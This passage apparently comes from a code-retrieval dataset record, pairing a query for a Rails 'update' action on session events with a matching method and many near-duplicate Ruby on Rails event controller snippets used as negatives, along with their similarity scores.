format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_event(event)\n @events.push(event)\n end", "def create\n @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: \"Event #{@event} was successfully created.\" }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # @event = Event.new(params[:event])\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n flash[:success] = \"Wydarzenie zostało utworzone.\"\n format.html {redirect_to @event}\n format.json {render :show, status: :created, location: @event}\n else\n format.html {render :new}\n format.json {render json: @event.errors, status: :unprocessable_entity}\n end\n end\n end", "def create\n @axis_event = AxisEvent.new(axis_event_params)\n # raise session[:axis_id].inspect\n @axis_event.axis_id = Rails.class_variable_get(:@@axis_id)\n respond_to do |format|\n if @axis_event.save\n format.html { redirect_to @axis_event, notice: 'Axis event was successfully created.' }\n format.json { render :show, status: :created, location: @axis_event }\n else\n format.html { render :new }\n format.json { render json: @axis_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n if current_user.nil? \n redirect_to new_user_session_path\n else\n user = User.find_by(id: current_user.id);\n @event = user.events.new(event_params)\n @event.all_tags\n @event.date = @event.date+1\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def event_params\n params.require(:event).permit(:title, :starts_at, :ends_at, :description, {\n cover_photos_attributes: [:id, :attachment, :title, :_destroy],\n sessions_attributes: [:id, :title, :starts_at, :ends_at, :description, :location_id, :display_cost, :max_attendees, {\n guests_attributes: [:id, :teacher_id, :role, {\n teacher_attributes: [:id, :name, :bio, :url, {\n photos_attributes: [:id, :attachment]\n }]\n }]\n }]\n }).tap do |params|\n # Remove an unfilled session\n if params[:sessions_attributes]\n new_session = params[:sessions_attributes].values.find { |session| session[:id].blank? }\n if [:title, :starts_at, :ends_at].all? { |key| new_session[key].blank? }\n params[:sessions_attributes].delete(\n params[:sessions_attributes].key(new_session)\n )\n end\n\n params[:sessions_attributes].each do |_, session_params|\n session_params[:guests_attributes].each do |idx, guest_params|\n if [:role, :teacher_id].all? { |key| guest_params[key].blank? }\n params[:sessions_attributes][params[:sessions_attributes].key(session_params)][:guests_attributes].delete(idx)\n else\n guest_params.tap do |guest_params|\n if guest_params[:teacher_attributes][:id].present? &&\n guest_params[:teacher_id] != guest_params[:teacher_attributes][:id]\n guest_params.delete(:teacher_attributes)\n end\n end\n end\n end\n end\n end\n end\n end", "def event_params\n {\n 'ToUserName' => 'FAKE_VALID_USERNAME',\n 'FromUserName' => 'FAKE_VALID_FROMUSERNAME',\n 'CreateTime' => '1501489767',\n 'MsgType' => 'event',\n 'Event' => 'click',\n 'EventKey' => 'ping', # will send a pong\n }\nend", "def create\n @user_event = UserEvent.new(user_event_params)\n\n respond_to do |format|\n if @user_event.save\n format.html { redirect_to @user_event, notice: \"User event was successfully created.\" }\n format.json { render :show, status: :created, location: @user_event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @user_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n unless current_user\n flash[:notice] = \"You must be logged in to access this page\"\n redirect_to :login\n return false\n end\n @event = Event.new(params[:event])\n \n\n respond_to do |format|\n @event.attending=0\n @event.reserved=0\n @log=ActivityLog.new\n @log.username=current_user.username\n @log.activity=\"created an\"\n @log.details=\"event\"\n @log.details2=\"called \"+params[:event][:title].to_s\n @log.time=\"During \"+Time.now.to_s\n @log.save\n @event.user_id = current_user.id\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, success: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'El evento fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_event(event)\n method = (event.id == nil || event.id == '') ? :post : :put\n query_string = (method == :put) ? \"/#{event.id}\" : ''\n @connection.send(Addressable::URI.parse(events_url + query_string), method, event.to_xml)\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Aula cadastrada com sucesso.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: \"Event was successfully created.\" }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7517827", "0.7058798", "0.6721352", "0.66793525", "0.6621008", "0.66182894", "0.6571327", "0.652709", "0.6447281", "0.6414531", "0.6405927", "0.6403908", "0.6388276", "0.6371743", "0.6354938", "0.6330283", "0.6285086", "0.6273645", "0.62593985", "0.616768", "0.6149811", "0.61460054", "0.6127109", "0.6108613", "0.61075264", "0.6096168", "0.6085114", "0.6067644", "0.6067443", "0.6062966", "0.6059062", "0.60454655", "0.60353136", "0.60352147", "0.6034464", "0.6027387", "0.602279", "0.6021286", "0.602081", "0.6005779", "0.60050297", "0.60050297", "0.6004293", "0.599304", "0.5992799", "0.5990841", "0.597497", "0.59736836", "0.5971431", "0.5968781", "0.5964247", "0.5960788", "0.59586227", "0.5954407", "0.5954033", "0.5946365", "0.59420604", "0.5940078", "0.59351337", "0.5933174", "0.5931504", "0.5929862", "0.5920271", "0.5919406", "0.5894447", "0.5886629", "0.58839434", "0.5873085", "0.5866689", "0.5860737", "0.58564496", "0.5855394", "0.5850882", "0.58472747", "0.58455485", "0.5838605", "0.58385324", "0.58332306", "0.5832312", "0.58274966", "0.5826964", "0.58211", "0.5820485", "0.5812973", "0.581208", "0.58105004", "0.58097506", "0.5807947", "0.5804173", "0.5804173", "0.5804065", "0.5803088", "0.58028394", "0.5801783", "0.58005905", "0.58003116", "0.5798918", "0.5798074", "0.57971317", "0.5791369" ]
0.7557729
0
PATCH/PUT /session_events/1 PATCH/PUT /session_events/1.json
def update @sessions = SessionEvent.find(params[:id]) if @sessions.update_attributes(session_event_params) flash[:success] = "Your session has been updated" redirect_to @sessions end respond_to do |format| if @session_event.update(session_event_params) format.html { redirect_to @session_event, notice: 'Session event was successfully updated.' } format.json { render :show, status: :ok, location: @session_event } else format.html { render :edit } format.json { render json: @session_event.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @session = @event.sessions.find(params[:id])\n\n respond_to do |format|\n if @session.update_attributes(params[:session])\n format.html { redirect_to [@event, @session], notice: 'Session was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch_event\n user_id = params[\"user_id\"]\n group_id = params[\"group_id\"]\n event_id = params[\"event_id\"]\n\n #TODO Handle 404 if event not found\n event = Event.find(event_id)\n\n json_body = JSON.parse(request.body.read)\n\n @@event_service.patch_event(json_body, user_id, group_id, event_id)\n\n render status: :ok, text: \"\"\n end", "def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n @event.update(status: \"Pending\")\n else\n @reopen = true\n format.json { render json: @event.errors, status: :unprocessable_entity }\n format.html { render :show }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @event.update(event_params(params))\n render json: @event, status: 200\n else\n render :json => @event.errors, :status => 422\n end\n end", "def update\n if @event.update(event_params)\n render json: @event, status: 201\n else\n render json: { message: \"Error. Error. Please try again.\"}, status: 400\n end\n end", "def update\n event_id = params[:id]\n if event_id.present? && params[:event].present? && @user.uuid.present? && @user.uuid != \"guest\"\n event_params = params[:event]\n @event = Com::Nbos::Events::Event.where(id: params[:id], user_id: @user.id ).first\n if @event.present?\n @event.update(event_params.permit!)\n if @event.save\n render :json => @event\n else\n data = add_error_messages(@event)\n render :json => data\n end\n else\n render :json => {\"messageCode\": \"module.user.unauthorized\", \"message\": \"Unauthorized to update others Event\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render json: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\tif @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n if @event.update(event_params)\n render json: { location: format_event(@event) }\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { render :show, status: :ok, location: @event }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if logged_in?\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to login_path\n end\n end", "def update\n return unless restrict_to_hosts\n\n respond_to do |format|\n if @session.update(session_params)\n format.html { redirect_to [@event, @session], notice: 'Session was successfully updated.' }\n format.json { render :show, status: :ok, location: [@event, @session] }\n else\n format.html { render :edit }\n format.json { render json: @session.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @clock_event.update(clock_event_params)\n render json: @clock_event, status: :ok, location: clock_event_params\n else\n render json: @clock_event.errors, status: :unprocessable_entity\n end\n end", "def update\n if @event.update(event_params)\n \tdata = { data: @event, status: :ok, message: \"Event was successfully updated.\" }\n render :json => data\n else\n \tdata = { data: @event.errors, status: :unprocessable_entity }\n render :json => data\n end\n end", "def update\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n if @event.update(event_params)\n render :show, status: :ok, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n # @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n set_event_unique_active @event if @event.active\n format.html { redirect_to team_events_url, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: team_events_url }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @event.update(event_params)\n\n format.html { redirect_to @event }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(params[:event])\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n @event = Event.find(params[:id])\n\n if @event.update(event_params)\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html do\n gflash :notice\n redirect_to @event\n end\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to user_events_path(current_user), notice: 'event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n #require \"pry\"; binding.pry\n\n update_users\n\n respond_to do |format|\n if @event.update(event_params)\n sync_update @event\n format.html { redirect_to @event, notice: t(\"successfully_updated\", :model => t(\"models.event\")) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @event.update(event_params)\r\n end", "def update\n @event = Event.using(:shard_one).find(params[:id])\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, :notice => 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @event.errors, :status => :unprocessable_entity }\n end\n end\n\n\n\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { redirect_to @event }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event.update(event_params) \n end", "def update\n authorize @event\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n\n\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to '/', notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @base_event.update(base_event_params)\n format.json { head :no_content }\n else\n format.json { render json: @base_event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n @event.save!\n end\n end", "def update\n authorize! :update, @event, :message => 'Not authorized as an administrator.'\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.js { render :refresh, status: :created, location: [@team, @event] }\n else\n format.js { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @guest = Guest.find(params[:id])\n @events = Event.all\n\n @events.each do |f|\n if @guest.event_id == f.id\n @event = f\n end\n end\n\n respond_to do |format|\n if @guest.update_attributes(params[:guest])\n\n format.html { redirect_to :back, notice: \"Thanks for responding, if you'd like to change your rsvp, please log back in using your email and guest password.\"}\n format.json { render json: @guest, status: :updated, location: @guest }\n Notifier.sendNotification(@guest, @event).deliver\n session[:letin] = \"ok\"\n \n else\n format.html { render action: \"edit\" }\n format.json { render json: @guest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_event_path(@event), notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to events_path, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: events_path(@event) }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to edit_admin_event_path(@event), notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @event.update(event_params)\n end", "def update\n \n \n @event = Event.find(params[:id])\n\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n format.html { redirect_to @event, notice: t(:event_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n \n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: \"Event was successfully updated.\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: \"Event was successfully updated.\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: \"Event was successfully updated.\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @event.update(event_params)\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit }\n format.json { render json: 